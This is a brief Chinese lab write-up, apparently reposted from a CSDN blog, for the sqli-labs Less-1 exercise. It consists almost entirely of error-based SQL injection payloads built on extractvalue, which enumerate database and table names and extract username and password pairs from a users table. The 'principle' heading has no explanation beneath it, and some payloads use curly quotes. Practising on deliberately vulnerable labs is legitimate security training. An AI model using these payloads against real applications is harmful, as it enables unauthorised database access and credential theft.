sqli-labs less-1(报错注入之extractvalue)

1.原理

所有数据库名

?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)))-- - #字母限制仅能显示31个

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)))-- -

Security的所有表名

?id=1’ and extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e))-- -

?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users where id=3),0x7e))-- -

本文为互联网自动采集或经作者授权后发布，本文观点不代表立场，若侵权下架请联系我们删帖处理！文章出自：https://blog.csdn.net/m0_63127854/article/details/125823000